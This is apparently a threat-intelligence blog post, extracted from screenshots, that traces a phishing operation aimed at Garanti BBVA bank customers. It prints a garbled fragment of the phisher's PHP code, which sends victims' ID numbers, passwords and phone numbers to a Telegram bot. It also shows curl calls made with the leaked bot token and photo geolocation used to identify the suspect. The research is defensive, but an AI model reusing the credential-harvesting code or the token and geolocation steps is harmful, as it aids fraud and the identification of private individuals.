There Is A Threat Actor
Out There

written by Mert SARICA | 1 March 2026
TABLE OF CONTENTS

Introduction

. Threat Hunting
. First Clue

. Second Clue

. Bingo

o U1 A W N P

. Conclusion

Introduction

In recent years, as a cybersecurity researcher who frequently engages in
conversations with threat actors who lack knowledge or concern about
Operations Security (OPSEC) (Examples: Chasing the Threat Actor, Investment
Scammers, WhatsApp Scammers), I once again had the opportunity to converse

with another threat actor.

The story of this article began almost a year ago during a security research
I conducted, when I encountered a threat actor who did not hesitate to use
his real first and last name on phishing websites targeting Garanti BBVA
customers, as well as on his Telegram profile — perhaps never considering
that a cybersecurity researcher might be able to obtain this information.

Threat Hunting

While conducting threat hunting on phishing sites detected on the SOCRadar
Cyber Threat Intelligence Platform, three domain names starting with grnt-
caught my attention: grnt-avantajl.xyz, grnt-avantaj2.xyz, and grnt-

avantaj4.xyz.
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Upon conducting a brief investigation on these websites, I discovered that
the threat actor hosted the source codes in a folder named garanticemal. As I
began reviewing the source codes one by one, it didn’'t take long — just like
in my blog post titled Chasing the Threat Actor — for the Telegram bot token
inside the index.php file to immediately catch my attention.

Name ~  Date Modified Kind

v [ assets Jan 10, 2025 at 13:38 Folder

> @ index Jan 10, 2025 at 13:39 Folder
B index.php Jan 10, 2025 at 15:26 PHP script
B success.php Jan 10, 2025 at 15:27 PHP script



https://www.hack4career.com/chasing-the-threat-actor/

4» index.php

1 <?php
if ( ) {
telegramToken = '"Jl . "L .
|- &

chatID =

_ . _set('Europe/Istanbul');
currentDate = ('Y-m-d H:i:s');
ipAddress = ['REMOTE_ADDR'];

tc = el

password = ['password'];
gsm = ['gsm'];

limit = ['limit'];

(OF
data = (sresponse,
N (sdatal'data‘]1[0])) {
sperson = $datal['data'][0];
_ ([
status' => 'success',
adi' => $person['ADI'],
soyadi' => $person['SOYADI']
["ad"] = $person["ADI"];
["soyad"] = $person["SOYADI"];
} else {

}

(['error' => 'Kisi bulunamadi.'l);

message = "W <b>Yeni Kayit</b>\n
Ad Soyad: <b>". ["adi"]." ". ["soyadi"]."</b>\n" .
T.C. Kimlik: <b>$tc</b>\n
Sifre: <b>$password</b>\n
Telefon: <b>$gsm</b>\n
“Kart Limiti: <b>$limit</b>\n
'IP Adresi: <b>$ipAddress</b>\n" .
'‘Tarih: <b>$currentDate</b>";
url = "https://api.telegram.org/bot$telegramToken/sendMessage";

postFields = [
chat_id' => $chatID,
text' => $message,
parse_mode' => 'HTML
I;

Line 1, Column 7

‘. B | Desktop % curl -X GET "https://api.telegram.org/bot —~mm H m m /getMe?chat_id= mmm

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 252 100 252 (] 0 606 l) ==f==8=— ==f==f=— ——j=—f—— 607

: true,

: false,
: false,
: false,
: false

- Desktop % curl -X GET "https://api.telegram.org/bot == H S p—— = :/getChat?chat_id= m— | §q

N
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

100 559 100 559 ] 0 1235 () ==B==8—— ==f=—d=— ——5==0== ilZk{]

: true,

Through the token, I reached Cemal’s Telegram account and encountered his
surname information and a possible profile photo. My first reaction was to
think that what I was seeing must be fake. Because if I could access this




information, law enforcement certainly could — and Cemal would eventually get
caught.

In order for Cemal to learn from his mistake and repent, his surname

information and profile photo have been censored throughout this article.

] [ Desktop % curl -X GET "https://api.telegram.org/bot mm [ ] m /getChatAdministrators?chat_id=| m m " | Jq
[ % Total % Received % Xferd Average Speed Time Time Time Current ]

Dload Upload Total Spent Left Speed
100 168 100 168 (] ] 414 b == e e=meEs == e == 415
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RRO

Was Cemal a threat actor unconcerned about being caught, or one who simply
believed he could not be identified from the information crumbs he left
behind? To understand this, I either had to contact Cemal directly and rely
on his responses, or attempt to indirectly answer this question by conducting
preliminary research using Open Source Intelligence (OSINT).

As someone who enjoys taking the challenging path, I naturally chose the
second option and rolled up my sleeves. After failing to obtain meaningful
results from Cemal’s name and surname, I decided to proceed with his profile
photo.
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First Clue

When I searched for the apartment building visible in the right background of
Cemal’s profile photo on Google Images, I came across a property listing on
the Hepsiemlak platform. The apartment in the listing was located in
Karsiyaka district of Izmir. The grilled middle block in Cemal’s profile
photo strongly resembled the one in the listing.
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*a Translate

g ; igh. Al
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. File:Sevilla - Barrio de San Pablo ~ Miramar San Juan Condos & 171Square Meters Apartment d


https://images.google.com/
https://www.hepsiemlak.com/

25 hepsiemlak.com/en/izmir-karsiyaka-mavisehir-satilik/daire/4762-4329?__cf_chl_tk=ygc2VkSH_799.91qolwMON4ZHGzu0¢

(Blog )

Q 4

TR -

hepsiemlak

A > ForSale > Izmir For Sale > Karsiyaka For Sale > Mavigehir For Sale > Apartment > 4762-4329

171 Square Meters Apartment For Sale in Karsiyaka, 1zmir

8.750.000 TRY ©

Izmir / Kargiyaka / Mavisehir Mah.

Listing No

Last Update Dat...
Listing status
Residence Type
Property Struct...
Number Of Room ...
Number of Bathr...

Gross/Net m?

4762-4329
22-10-2024

For Sale
Apartment

Daire

4+1

2

171 m2 /145 m2

Number of Floor... 18 Storey
Floor 17. Floor
Property Age 29 at Age
Heating Type Central
Fuel Type Gas
Loan Availabili... Available

I\ For Sale Apartment B4+1 3171 m2 I'I'I Earn by Sharing Title Deed Stat... Condominium

Deepening my research based on the listing, I learned that this building was

one of the Mavisehir Pamukkale blocks.
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Later, I decided to determine approximately where and when Cemal had taken
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this photo. For this, I utilized the shooting angle and the positioning of
air conditioners on the building.

After virtually exploring the surroundings of the Mavisehir Pamukkale blocks
via Google Maps and its Street View feature, I was able to locate the exact
building.
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Second Clue

When it came to identifying where the photo was taken from, I noticed the

MaviBahce shopping mall located diagonally across from the building. After
reviewing photos in Google Maps comments one by one, I determined that the
photo was taken from the upper floor of this mall.
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Finally, to determine approximately when the photo was taken, I once again
relied on the profile photo. When I searched the letters RRO visible on the
cardboard cup Cemal was holding using Google Images, I discovered that it
belonged to the fast-service Italian restaurant chain Sbarro.


https://www.sbarro.com.tr/
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Bingo

I then checked whether this chain had a branch in the MaviBahc¢e shopping mall
and learned that it did not. To find out approximately when this branch had
closed, I used the Web Archive, a library that archives older versions,
designs, and content of websites.

After a brief search, I found that the archive for this branch did not exist
after July 2024, leading me to conclude that the photo was most likely not
taken after that date. (Note: Sbarro’s MaviBahce branch may have reopened in
2025.)
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Conclusion

In light of all the information I gathered, I began corresponding with Cemal.
Although he initially denied my claims, toward the end of our exchange he
realized that the situation was becoming increasingly serious — and suddenly
disappeared.



[ |
Cemal ™ gy
online

AE Panel kirallyor musun satiyor musun reis? 5,35

January 18

' Ne paneli kardegim 4.1

AE Garanti paneli g.5>

' Ne dedigini anlamiyorum 5.,

Nasil anlamiyon reis ya grnt-avantaj diyorum. Biz de Karsiyakaliyiz.
AE 08:25

~ yapayim Karsiyakallysan 5.5

AE garanttibot diyorum usta 554

1 Anhyorum  5.5¢

AE bana da lazim benzeri 555

Bende yok maalesef (5.5

Excerpt from the Telegram conversation (translated from Turkish):

AE: Are you renting or selling the panel?

Cemal: What panel, brother?

AE: The Garanti panel.

Cemal: I don't understand what you're saying.

AE: I'm talking about grnt-avantaj. We’re also from Karsiyaka.
Cemal: So what if you’re from Karsiyaka?

AE: I'm talking about the garanttibot.

Cemal: I understand.

AE: I need something similar too.

Cemal: Unfortunately, I don’t have it.



Cemal =y
online

Seni kim génderdi &5 (5.9

Soyle yardimci olacagim (5.5

Karsiyakali kardegim benim 5.9

Hadi yaz 08:40

Acalim reklam lazimsa (5.4

Ben bdyle bir gruba tye olmadim hig bir zaman 5.41
AE Tamer ile reelden tanigiyoruz mavi bahge (5.41

s Diriist gel isini géreyim 5.4

AE o0 da seni ortamdan tanidigini séyledi 541 2

AT

Abi mavi bahge ney hahahaha 5.4+

Continuation of the conversation:

Cemal: Who sent you? [J

Cemal: Tell me, I'l1l help.

Cemal: My fellow Karsiyaka brother.

Cemal: Come on, write.

Cemal: Let’s launch ads if needed.

Cemal: I’'ve never been a member of such a group.



AE: We know Tamer from reels, MaviBahce.

AE: He said he knows you from close circle.

Cemal:

What do you mean MaviBahce hahaha.

Cemal ® =
last seen recently

Hahahah Tamer kim vallaha ben tanimiyorum 5.5

Ama ne lazim séyle 5.4>

Nasil bir sey lazim sana 5.15

Nasil vuruyorsun ¢agriilemi 5.5

Ekipvarmi 5.5

Olayinney (543

Continuation of the conversation:

Cemal:
Cemal:
Cemal:
Cemal:
Cemal:

Haha, who is Tamer? I honestly don’t know him.
But tell me what you need.

What exactly do you need?

How do you operate — through calls?

Do you have a team?
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Bacim sen ara telde konusalim 5.5, 4,

cemal o zaman fotonu guncelle aradan 1 yil
gecmis 8:57 AM v/

Ablana patlatayim mi seni simdi .54

Conversation becomes more defensive:

Cemal: Believe me, I don’t have it [

Cemal: Sister, call me — let’s talk on the phone.

AE: Cemal, then update your photo — it’s been a year.
Cemal: Should I expose you to your sister now? []



Username @ = mm not found.

Based on this reaction, I concluded that the information I had obtained was
most likely accurate, and demonstrated to curious readers how new
intelligence about a threat actor can be derived from a single piece of
information through Open Source Intelligence (OSINT).

This case once again demonstrates that OPSEC failures often begin with small
details. A folder name, a token, a profile photo. What may seem insignificant
to a threat actor can become a starting point for a security researcher. In
the digital world, anonymity is not an assumption, it is a discipline that

must be continuously maintained.
Hope to see you in the following articles.
Note:

. This article also contains the solution path for the Pi Hediyem Var

Cybersecurity Game #20 game.
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